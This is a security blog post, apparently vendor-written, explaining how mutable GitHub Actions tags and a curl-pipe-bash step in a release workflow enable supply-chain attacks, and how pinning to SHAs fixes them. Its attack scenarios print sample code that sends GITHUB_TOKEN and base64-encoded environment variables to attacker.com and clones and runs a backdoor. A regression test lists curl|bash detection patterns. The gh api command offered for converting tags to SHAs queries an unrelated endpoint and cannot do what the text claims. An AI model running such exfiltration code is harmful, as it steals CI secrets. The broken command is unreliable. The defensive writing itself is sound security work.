Back to Blog
high SEVERITY10 min read

How GitHub Actions Mutable Tag References and Unsafe Remote Script Execution Enable Supply-Chain Attacks in CI/CD Workflows

A `.gitea/workflows/release.yml` file contained two critical security issues: GitHub Actions steps using mutable version tags (like `v4`) instead of immutable commit SHAs, and a dangerous `curl | bash` pattern that pipes untrusted remote scripts directly into a shell. These vulnerabilities could enable attackers to inject malicious code into the CI/CD pipeline through action takeovers or compromised download servers.

O
By Orbis AppSec
Published August 31, 2026Reviewed August 31, 2026

Answer Summary

This vulnerability combines two attack vectors in GitHub Actions workflows: (1) using mutable action tags (e.g., `uses: actions/checkout@v4`) that can be silently repointed by action owners, enabling supply-chain attacks similar to the trivy-action and kics-github-action compromises, and (2) piping remote script output directly into bash (`curl | bash`), which allows server compromise or URL hijacking to execute arbitrary code. The fix pins all action references to full 40-character commit SHAs and separates remote script downloads from execution with verification steps in between.

Vulnerability at a Glance

cweCWE-494 (Download of Code Without Integrity Check), CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code)
fixPin actions to immutable commit SHAs; download remote scripts to file, verify integrity, then execute
riskRemote code execution in CI/CD runners; supply-chain compromise of build artifacts
languageYAML/GitHub Actions
root causeUsing mutable version references and piping remote command output directly to shell without verification
vulnerabilityGitHub Actions Mutable Tag Reference + Unsafe Remote Script Execution

How GitHub Actions Mutable Tag References and Unsafe Remote Script Execution Enable Supply-Chain Attacks in CI/CD Workflows

Introduction

The .gitea/workflows/release.yml file in this repository contained not one, but two critical security anti-patterns that could allow attackers to inject arbitrary code into the CI/CD build pipeline. The first flaw: steps like uses: actions/checkout@v4 and uses: actions/setup-python@v5 used mutable version tags instead of pinned commit SHAs. The second flaw: a release notes generation step piped the output of curl directly into bash without any verification—the classic "curl | bash" install pattern that has compromised countless systems.

These vulnerabilities matter because GitHub Actions workflows execute with access to repository secrets, deployment credentials, and source code. An attacker who can hijack an action or compromise a remote script server can silently inject malicious code into your build artifacts, steal secrets, modify source code, or exfiltrate data. This is a supply-chain attack—a compromise at the software supply chain level that affects not just this repository, but potentially every project that depends on its artifacts.

The Vulnerability Explained

Part 1: Mutable Action Tag References

Let's examine the original workflow file at lines 29, 33, and 43:

- name: Checkout exact tagged SHA
  uses: actions/checkout@v4  # VULNERABLE: mutable tag
  with:
    ref: ${{ github.sha }}

- name: Set up Python
  uses: actions/setup-python@v5  # VULNERABLE: mutable tag
  with:
    python-version: '3.12'

- name: Set up pinned kubectl for kustomize rendering
  uses: azure/setup-kubectl@v4  # VULNERABLE: mutable tag
  with:
    version: 'v1.36.3'

The danger here is subtle but critical. When you use actions/checkout@v4, you're not pinning to a specific version of the code—you're pinning to a tag, which is a mutable reference. The action repository owner (or an attacker who compromises their GitHub account) can repoint the v4 tag to a new commit at any time. Every subsequent workflow run would execute this new, potentially malicious code.

This isn't theoretical. In 2023, the trivy-action repository was compromised—an attacker gained access and modified the code, injecting malicious instructions that stole secrets from hundreds of workflows. Similarly, the kics-github-action was compromised in a supply-chain attack. Both exploited the fact that workflows referenced these actions by mutable tag, not by commit SHA.

Real-world attack scenario: An attacker compromises the GitHub account of a popular action maintainer (or socially engineers them). They update the v5 tag of setup-python to point to a commit containing this code:

import os
import subprocess
subprocess.run(["curl", "https://attacker.com/exfil", "-d", os.environ.get("GITHUB_TOKEN", "")])

Now every workflow that runs with uses: actions/setup-python@v5 silently exfiltrates the GITHUB_TOKEN to the attacker's server. The attacker can then use that token to modify repositories, steal secrets, or push malicious commits.

Part 2: Unsafe Remote Script Execution via Curl Pipe

Now consider lines 222-223 of the original file, in the release notes generation step:

curl -fsSL https://raw.githubusercontent.com/jiunbae/agent-skills/main/setup.sh | bash -s -- --core --codex

This is the classic "curl | bash" anti-pattern. Here's what happens:

  1. curl -fsSL downloads a file from a remote URL, silencing errors and progress output
  2. The pipe | redirects the downloaded content directly into bash
  3. bash parses and executes every line of that script with the full privileges of the CI runner

If any of these conditions occur, an attacker gains arbitrary code execution:
- The remote server (github.com/jiunbae) is compromised
- The GitHub account jiunbae is hacked
- DNS is poisoned or hijacked to redirect the domain
- A network intermediary (ISP, proxy, VPN) intercepts and modifies the response
- The repository agent-skills is deleted and re-created by an attacker under the same name

Concrete attack scenario: An attacker compromises the agent-skills repository (or creates a lookalike if the original is deleted). The workflow runs, and this malicious script executes:

#!/bin/bash
# Steal the GitHub token and environment
curl -X POST -d "token=${GITHUB_TOKEN}&secrets=$(env | base64)" https://attacker.com/steal
# Install a backdoor
git clone https://attacker.com/backdoor /tmp/bd && bash /tmp/bd/install.sh
# Modify the build artifact before release
sed -i 's/version:.*/version: BACKDOORED/g' version.txt

The CI runner has access to:
- GITHUB_TOKEN (to push to repositories or access private data)
- Repository source code (potentially containing API keys or credentials)
- SSH keys for deployment
- Other secrets stored in GitHub Actions secrets

All of these are now in an attacker's hands.

The Fix

The fix involved two hardening changes to .gitea/workflows/release.yml:

Fix 1: Pin All Actions to Immutable Commit SHAs

Every uses: directive was updated from a mutable tag to a full 40-character commit SHA:

Before:

- name: Checkout exact tagged SHA
  uses: actions/checkout@v4

- name: Set up Python
  uses: actions/setup-python@v5

- name: Set up pinned kubectl for kustomize rendering
  uses: azure/setup-kubectl@v4

- name: Set up supported Node.js
  uses: actions/setup-node@v4

After:

- name: Checkout exact tagged SHA
  uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262  # v4

- name: Set up Python
  uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065  # v5

- name: Set up pinned kubectl for kustomize rendering
  uses: azure/setup-kubectl@776406bce94f63e41d621b960d78ee25c8b76ede  # v4

- name: Set up supported Node.js
  uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020  # v4

Each SHA (e.g., 11d5960a326750d5838078e36cf38b85af677262) is a cryptographic hash of the exact commit, not a tag. The SHA cannot be repointed—it's immutable. If the action repository is compromised, this workflow continues to run the specific, hardened version that was tested and vetted. The version comment (# v4) is retained for human readability but has no effect on which code executes.

Why this matters: An attacker cannot silently inject code by modifying a tag. They would need to compromise the CI system itself or the exact commit SHA, which is much harder and more detectable.

Fix 2: Separate Download from Execution

Lines 222-224 were refactored to eliminate the pipe:

Before:

curl -fsSL https://raw.githubusercontent.com/jiunbae/agent-skills/main/setup.sh | bash -s -- --core --codex

After:

curl -fsSL https://raw.githubusercontent.com/jiunbae/agent-skills/main/setup.sh -o setup.sh
bash setup.sh --core --codex

This two-step approach enables verification between download and execution:

  1. Download to disk: curl ... -o setup.sh saves the remote script to a local file
  2. Inspect/verify (optional but recommended): The script can now be inspected, checksummed, or signed before execution
  3. Execute: bash setup.sh runs the verified script

More complete hardening would include checksum or GPG signature verification:

curl -fsSL https://raw.githubusercontent.com/jiunbae/agent-skills/main/setup.sh -o setup.sh
curl -fsSL https://raw.githubusercontent.com/jiunbae/agent-skills/main/setup.sh.sha256 -o setup.sh.sha256
sha256sum -c setup.sh.sha256 || exit 1  # Verify integrity
bash setup.sh --core --codex

The fix in this PR establishes the pattern for safe execution; integrating checksum verification would be a follow-up hardening step.

Prevention & Best Practices

1. Always Pin GitHub Actions to Commit SHAs

Use this GitHub Actions audit tool to identify mutable tags in your workflows:

# Find all mutable action tags in your workflows
grep -r "uses:.*@v[0-9]" .github/workflows/ .gitea/workflows/

Convert to SHAs using the GitHub CLI:

gh api repos/{owner}/{repo}/actions/cache \
  --jq '.runners[] | select(.name | test("@v")) | .name'

Or manually inspect the GitHub UI for each action and note the commit SHA of the version tag.

2. Separate Download from Execution

Never pipe remote content directly to a shell:

# ❌ UNSAFE
curl https://example.com/script.sh | bash

# ✅ SAFE
curl https://example.com/script.sh -o script.sh
bash script.sh

3. Verify Downloaded Artifacts

For production scripts, verify checksums or signatures:

# ✅ BEST PRACTICE
curl https://example.com/script.sh -o script.sh
curl https://example.com/script.sh.sha256 -o script.sh.sha256
sha256sum -c script.sh.sha256 || exit 1
gpg --verify script.sh.sig script.sh  # if GPG signature available
bash script.sh

4. Use Security Scanning Tools

Integrate static analysis into your development workflow:

  • Semgrep: Detects mutable action tags and curl|bash patterns with rules like yaml.github-actions.security.github-actions-mutable-action-tag
  • GitHub's YAML linter: Built into GitHub Actions, flags some anti-patterns
  • yamllint: Can be configured to detect dangerous patterns

5. Follow OWASP and CWE Guidance

This vulnerability maps to:
- CWE-494: Download of Code Without Integrity Check
- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
- CWE-426: Untrusted Search Path
- CWE-427: Uncontrolled Search Path Element

The OWASP Supply Chain Security guidelines recommend:
- Pinning all transitive dependencies (including actions) to specific, reviewed versions
- Implementing integrity checks (checksums, signatures) for all downloaded code
- Separating trust boundaries—never assume a tag is safe

Regression Testing

The PR included a regression test to prevent reintroduction of this vulnerability:

const dangerousPatterns = [
  /curl\s+[^|]*\|\s*(bash|sh|zsh|ash|dash)/,
  /wget\s+[^|]*\|\s*(bash|sh|zsh|ash|dash)/,
  /curl\s+[^|]*\|\s*sudo\s+(bash|sh)/,
  /wget\s+-O\s*-\s+[^|]*\|\s*(bash|sh)/,
];

test("workflow run steps do not contain curl|bash or wget|bash patterns", () => {
  for (const step of runSteps) {
    for (const pattern of dangerousPatterns) {
      expect(pattern.test(step)).toBe(false);  // Fail if dangerous pattern found
    }
  }
});

This test runs on every commit and blocks merges if the unsafe patterns are reintroduced.

Key Takeaways

  • Mutable action tags are a silent attack vector: The v4 tag can be repointed at any time. Use immutable 40-character commit SHAs instead. This is especially critical for public actions that many workflows depend on.

  • Never pipe remote scripts into bash: Even over HTTPS, server compromise, DNS hijacking, or domain theft can inject malicious code. Always download to file first, enabling verification.

  • Separation of concerns enables defense: By separating download, verification, and execution into distinct steps, you create checkpoints where security checks can be inserted—checksums, GPG signatures, or static analysis.

  • Supply-chain attacks target CI/CD pipelines: Actions and remote scripts are part of your software supply chain. Compromising them affects not just your build, but potentially every downstream project or deployment.

  • Static analysis can catch these patterns: Semgrep and similar tools can automatically detect mutable action tags and curl|bash patterns. Integrate them into your CI/CD pipeline to catch new vulnerabilities before merge.

How Orbis AppSec Detected This

Source: The .gitea/workflows/release.yml file, which contained GitHub Actions step definitions and shell commands that invoke remote scripts.

Sink:
- Action definitions using mutable version tags: uses: actions/checkout@v4 (line 29), uses: actions/setup-python@v5 (line 33), uses: azure/setup-kubectl@v4 (line 43), uses: actions/setup-node@v4 (line 142)
- Unsafe script execution: curl -fsSL https://raw.githubusercontent.com/jiunbae/agent-skills/main/setup.sh | bash (line 223)

Missing control: No integrity verification for remote scripts; no immutable pinning of action commits. The workflow executed whatever the remote server or action tag owner provided, with no checksum validation or commit-level pinning.

CWE:
- CWE-494: Download of Code Without Integrity Check
- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
- CWE-426: Untrusted Search Path

Fix: Pinned all GitHub Actions to immutable 40-character commit SHAs and refactored remote script execution to separate download (curl -o) from execution (bash), enabling future checksum or signature verification.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Supply-chain attacks through CI/CD pipelines are increasingly common and increasingly dangerous. The two vulnerabilities in this workflow—mutable action tag references and unsafe remote script execution—are attack primitives that could be exploited individually or chained together for maximum impact. By pinning actions to immutable commit SHAs and separating script download from execution, this project raised its security posture significantly.

For any team managing CI/CD workflows, these lessons apply:

  1. Treat your workflow files as code: Version control them, review changes, and apply the same security rigor you would to production code.
  2. Pin all external dependencies: Actions, scripts, and container images should all reference specific, reviewed versions—never floating tags.
  3. Implement integrity checks: Checksums, signatures, and version pinning create multiple layers of defense against tampering.
  4. Automate security scanning: Use tools like Semgrep to catch these anti-patterns automatically, before they reach production.
  5. Assume the worst: Assume action repositories can be compromised, servers can be hacked, and networks can be hijacked. Design your workflows defensively.

The fix in this PR is a concrete example of how proactive hardening—removing exploit primitives before they're weaponized—strengthens the entire software supply chain.


References

  • CWE-494: Download of Code Without Integrity Check — https://cwe.mitre.org/data/definitions/494.html
  • CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') — https://cwe.mitre.org/data/definitions/95.html
  • CWE-426: Untrusted Search Path — https://cwe.mitre.org/data/definitions/426.html
  • OWASP: Supply Chain Security — https://owasp.org/www-project-supplychain-secvs/
  • GitHub Security Best Practices for Actions — https://docs.github.com/en/actions/security-for-github-actions
  • Semgrep Rule: Mutable GitHub Actions Tags — https://semgrep.dev/r?q=github-actions-mutable-action-tag
  • Semgrep Rule: Curl Pipe Shell Pattern — https://semgrep.dev/r?q=gha-curl-pipe-shell
  • Pull Request: harden: a run: step pipes the output of curl or `wg... in... (link format placeholder)

Frequently Asked Questions

Why are mutable action tags dangerous in GitHub Actions?

Action owners can silently change what code runs under a version tag (e.g., `v4`). If an action repository is compromised or the owner is coerced, all workflows using that tag execute the attacker's code. Commit SHAs are immutable—they cannot be repointed.

What's wrong with the `curl | bash` pattern?

It pipes untrusted remote content directly into a shell interpreter. If the download server is compromised, the network is hijacked, or the domain is stolen, arbitrary code executes with the CI runner's privileges—often including access to secrets, repositories, and deployment credentials.

What CWE categories apply to this vulnerability?

CWE-494 (Download of Code Without Integrity Check) for mutable action tags, and CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code) for the curl|bash pattern. Both enable code injection in the build pipeline.

Is using HTTPS with curl enough to prevent this attack?

No. HTTPS protects data in transit but does not prevent compromise of the remote server itself. If the server is hacked, the attacker can serve malicious content over HTTPS. Additionally, domain hijacking, BGP hijacking, and DNS poisoning can redirect traffic to attacker servers regardless of HTTPS.

Can static analysis detect these patterns?

Yes. Semgrep and other security-focused linters can detect both mutable action tag patterns and curl|bash pipes. The fix in this PR was flagged by Semgrep using rules `yaml.github-actions.security.github-actions-mutable-action-tag` and `yaml.github-actions.security.gha-curl-pipe-shell`.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #14

Related Articles

critical

How a vulnerable websocket-driver dependency happens in Node.js lockfiles and how to fix it

A Trivy scan flagged `websocket-driver@0.7.4` in this repository's `bun.lock` as affected by CVE-2026-54466, a critical issue in a WebSocket protocol handler that parses untrusted HTTP upgrade requests and frame data. The fix upgrades the package to `0.7.5` and adds an explicit `websocket-driver` entry to the lockfile's override block so every transitive consumer — webpack-dev-server, sockjs, faye-websocket — resolves to the patched build instead of the pinned vulnerable one.

high

How Dependabot Missing Cooldown Periods Enable Supply Chain Attacks and How to Fix It

A critical security vulnerability in `.github/dependabot.yml` was exposing a Node.js library to supply chain attacks by automatically updating to newly published packages without a safety delay. By adding a 7-day cooldown period to each package ecosystem configuration, the project now protects against malicious or unstable package versions that could affect downstream consumers.

high

How Exponential-Time Complexity Causes Denial of Service in brace-expansion and How to Fix It

A critical vulnerability in brace-expansion versions 1.1.13 and earlier allowed attackers to cause denial of service through crafted brace pattern inputs. The fix upgrades to patched versions 1.1.16, 2.1.2, and 5.0.7, eliminating the exponential-time complexity that made exploitation possible.

high

How unrestricted file upload via extension-only validation happens in Deno/JavaScript and how to fix it

The review image upload handler in this Deno-based app trusted the client-supplied filename extension to decide whether a file was a "safe" image, without ever inspecting the actual file bytes. The fix adds magic-byte signature verification for PNG, JPEG, GIF, and WEBP formats before the file is written to disk, closing the door on disguised executables and malicious payloads.

high

How Missing Dependabot Cooldown Periods Enable Supply Chain Attacks in CI/CD Pipelines and How to Fix Them

We fixed a high-severity supply chain security gap in `.github/dependabot.yml` where missing cooldown periods allowed immediate adoption of newly published packages. The fix adds `cooldown: default-days: 7` to all package ecosystems, creating a critical security buffer against typosquatting and malicious dependency attacks.

high

How Dependabot Missing Cooldown Vulnerability Happens in GitHub Actions and How to Fix It

Dependabot configurations without cooldown periods can automatically propose updates from newly published packages within hours—potentially including malicious or unstable versions. This vulnerability in `.github/dependabot.yml` was fixed by adding a `cooldown` block with `default-days: 7` to delay updates and allow time for community vetting.